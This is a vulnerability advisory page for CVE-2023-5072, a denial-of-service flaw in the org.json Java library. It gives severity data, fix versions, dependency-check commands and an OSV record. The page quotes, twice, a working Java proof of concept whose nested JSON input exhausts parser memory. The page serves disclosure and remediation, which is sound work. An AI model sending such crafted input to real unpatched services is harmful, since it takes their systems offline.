Vulnerabilities in pkg:maven/org.json/json

PACKAGE
Advisory Identifier: GHSA-4jq9-2xhw-jpx7
Advisory Summary

CVE-2023-5072 is a HIGH (CVSS 7.5) denial of service vulnerability (CWE-358: Improperly Implemented Security Check for Standard) affecting Java libraries in the Maven ecosystem. The issue involves dos vulnerability in json-java. Remediation is available by upgrading affected packages to version 20231013.

3 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:maven/org.json/json

3 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:maven/org.json/json. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-4jq9-2xhw-jpx7 CVE-2023-5072 HIGH Java: DoS Vulnerability in JSON-JAVA
GHSA-rm7j-f5g5-27vv - HIGH Duplicate Advisory: Denial of Service in JSON-Java
GHSA-3vqj-43w4-2q58 CVE-2022-45688 HIGH json stack overflow vulnerability

CVE-2023-5072 at a Glance

CVE Identifier CVE-2023-5072
GHSA Identifier GHSA-4jq9-2xhw-jpx7
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-358: Improperly Implemented Security Check for Standard
Affected Product Java
Package Ecosystem Maven
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2023-5072

To remediate this vulnerability, upgrade all affected Java dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

org.json:json fixed: 20231013
<dependency>
    <groupId>org.json</groupId>
    <artifactId>json</artifactId>
    <version>20231013</version>
</dependency>
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

mvn dependency:tree -Dincludes=org.json

How to Check if You Are Affected

To determine whether your Java application is affected by CVE-2023-5072, inspect your build dependencies using the Maven Dependency Plugin:

mvn dependency:tree -Dincludes=org.json

Analyze the terminal output to locate any version of Java in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 20231013), your application is affected.

Note: The mvn dependency:tree -Dincludes=org.json command inspects the resolved dependency graph declared in your project's POM files; it does not perform automated security scanning or inspect runtime dynamic classpaths. Always verify runtime container classpaths and shaded JARs.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-358: Improperly Implemented Security Check for Standard, where the product does not implement or incorrectly implements one or more security-relevant checks as specified by the design of a standardized algorithm, protocol, or technique. In Java, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A denial of service vulnerability in JSON-Java was discovered by [ClusterFuzz](https://google.github.io/clusterfuzz/). A bug in the parser means that an input string of modest size can lead to indefinite amounts of memory being used. There are two issues: (1) the parser bug can be used to circumvent a check that is supposed to prevent the key in a JSON object from itself being another JSON object; (2) if a key does end up being a JSON object then it gets converted into a string, using `\` to escape special characters, including `\` itself. So by nesting JSON objects, with a key that is a JSON object that has a key that is a JSON object, and so on, we can get an exponential number of `\` characters in the escaped string. ### Severity High - Because this is an already-fixed DoS vulnerability, the only remaining impact possible is for existing binaries that have not been updated yet. ### Proof of Concept ```java package orgjsonbug; import org.json.JSONObject; /** * Illustrates a bug in JSON-Java. */ public class Bug { private static String makeNested(int depth) { if (depth == 0) { return "{\"a\":1}"; } return "{\"a\":1;\t\0" + makeNested(depth - 1) + ":1}"; } public static void main(String[] args) { String input = makeNested(30); System.out.printf("Input string has length %d: %s\n", input.length(), input); JSONObject output = new JSONObject(input); System.out.printf("Output JSONObject has length %d: %s\n", output.toString().length(), output); } } ``` When run, this reports that the input string has length 367. Then, after a long pause, the program crashes inside new JSONObject with OutOfMemoryError. ### Further Analysis The issue is fixed by [this PR](https://github.com/stleary/JSON-java/pull/759). ### Timeline **Date reported**: 07/14/2023 **Date fixed**: **Date disclosed**: 10/12/2023

CVE-2023-5072 Affected Java Versions

1 component(s)
Fixed Versions:
20231013
Product / Package Ecosystem Affected Versions Fixed Version
org.json:json
Maven
< 20231013
20231013

References

Frequently Asked Questions

What is CVE-2023-5072?
CVE-2023-5072 is a security vulnerability in Java involving DoS Vulnerability in JSON-JAVA under CWE-358: Improperly Implemented Security Check for Standard.
Which Java versions are affected?
Affected versions include releases prior to 20231013 across affected packages: org.json:json.
What version fixes CVE-2023-5072?
Upgrading to 20231013 (or the latest patched release for your respective branch) resolves the vulnerability.
Is json affected?
Yes, org.json:json is affected in releases prior to 20231013. Upgrade your dependency to 20231013 or later.
What is the CVSS score of CVE-2023-5072?
CVE-2023-5072 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2023-5072?
CVE-2023-5072 is classified under CWE-358: Improperly Implemented Security Check for Standard (The product does not implement or incorrectly implements one or more security-relevant checks as specified by the design of a standardized algorithm, protocol, or technique.).
How can I check Maven dependencies for CVE-2023-5072?
Run the dependency tree command: 'mvn dependency:tree -Dincludes=org.json'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-4jq9-2xhw-jpx7",
  "modified" : "2025-08-22T20:55:25Z",
  "published" : "2023-11-14T22:24:08Z",
  "aliases" : [ "CVE-2023-5072" ],
  "summary" : "Java: DoS Vulnerability in JSON-JAVA",
  "details" : "### Summary\nA denial of service vulnerability in JSON-Java was discovered by [ClusterFuzz](https://google.github.io/clusterfuzz/).  A bug in the parser means that an input string of modest size can lead to indefinite amounts of memory being used. There are two issues: (1) the parser bug can be used to circumvent a check that is supposed to prevent the key in a JSON object from itself being another JSON object; (2) if a key does end up being a JSON object then it gets converted into a string, using `\\` to escape special characters, including `\\` itself. So by nesting JSON objects, with a key that is a JSON object that has a key that is a JSON object, and so on, we can get an exponential number of `\\` characters in the escaped string.\n\n### Severity\nHigh - Because this is an already-fixed DoS vulnerability, the only remaining impact possible is for existing binaries that have not been updated yet.\n\n### Proof of Concept\n```java\npackage orgjsonbug;\n\nimport org.json.JSONObject;\n\n/**\n * Illustrates a bug in JSON-Java.\n */\npublic class Bug {\n  private static String makeNested(int depth) {\n    if (depth == 0) {\n      return \"{\\\"a\\\":1}\";\n    }\n    return \"{\\\"a\\\":1;\\t\\0\" + makeNested(depth - 1) + \":1}\";\n  }\n\n  public static void main(String[] args) {\n    String input = makeNested(30);\n    System.out.printf(\"Input string has length %d: %s\\n\", input.length(), input);\n    JSONObject output = new JSONObject(input);\n    System.out.printf(\"Output JSONObject has length %d: %s\\n\", output.toString().length(), output);\n  }\n}\n```\nWhen run, this reports that the input string has length 367. Then, after a long pause, the program crashes inside new JSONObject with OutOfMemoryError.\n\n### Further Analysis\nThe issue is fixed by [this PR](https://github.com/stleary/JSON-java/pull/759).\n\n### Timeline\n**Date reported**: 07/14/2023\n**Date fixed**: \n**Date disclosed**: 10/12/2023",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "org.json:json"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "20231013"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 20230618"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/google/security-research/security/advisories/GHSA-4jq9-2xhw-jpx7"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2023-5072"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/stleary/JSON-java/issues/758"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/stleary/JSON-java/issues/771"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/stleary/JSON-java/pull/759"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/stleary/JSON-java/commit/60662e2f8384d3449822a3a1179bfe8de67b55bb"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/stleary/JSON-java"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-358" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2023-11-14T22:24:08Z",
    "nvd_published_at" : null
  }
}